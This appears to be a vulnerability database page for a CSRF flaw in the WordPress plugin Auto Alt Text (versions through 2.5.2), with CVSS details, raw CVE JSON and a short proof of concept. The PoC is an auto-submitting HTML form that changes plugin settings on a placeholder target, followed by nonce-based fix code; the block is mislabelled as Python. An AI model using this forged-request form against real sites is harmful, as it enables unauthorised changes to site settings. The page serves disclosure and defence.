Security Vulnerability Report
中文
CVE-2025-62866 CVSS 4.3 MEDIUM

CVE-2025-62866

Published: 2025-12-09 16:18:04
Last Modified: 2026-04-15 00:35:42

Description

Cross-Site Request Forgery (CSRF) vulnerability in Valerio Monti Auto Alt Text auto-alt-text allows Cross Site Request Forgery.This issue affects Auto Alt Text: from n/a through <= 2.5.2.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Auto Alt Text 插件所有版本 <= 2.5.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CSRF PoC - Conceptual demonstration only # This code is for educational and defensive purposes # Vulnerable request pattern (what an attacker might attempt): ''' <-html> <head> <title>CSRF Attack Demo</title> </head> <body> <h3>Image Alt Text Configuration Change</h3> <form action="http://target-wordpress-site/wp-admin/admin-post.php" method="POST" id="csrf-form"> <input type="hidden" name="action" value="auto_alt_text_settings"> <input type="hidden" name="alt_text_source" value="malicious_value"> <input type="hidden" name="submit" value="Save Changes"> </form> <script> document.getElementById('csrf-form').submit(); </script> </body> </html> ''' # Defensive implementation (what developers should do): ''' # 1. Add CSRF token to forms wp_nonce_field('auto_alt_text_settings_save', 'csrf_token'); # 2. Verify token on form processing if (!wp_verify_nonce($_POST['csrf_token'], 'auto_alt_text_settings_save')) { wp_die('Security check failed'); } # 3. Use WordPress nonces for AJAX requests global $wpdb; $nonce = wp_create_nonce('auto_alt_text_ajax_nonce'); echo '<script>var ajaxNonce = "' . esc_js($nonce) . '";</script>'; '''

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62866", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:03.667", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in Valerio Monti Auto Alt Text auto-alt-text allows Cross Site Request Forgery.This issue affects Auto Alt Text: from n/a through <= 2.5.2."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/auto-alt-text/vulnerability/wordpress-auto-alt-text-plugin-2-5-2-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}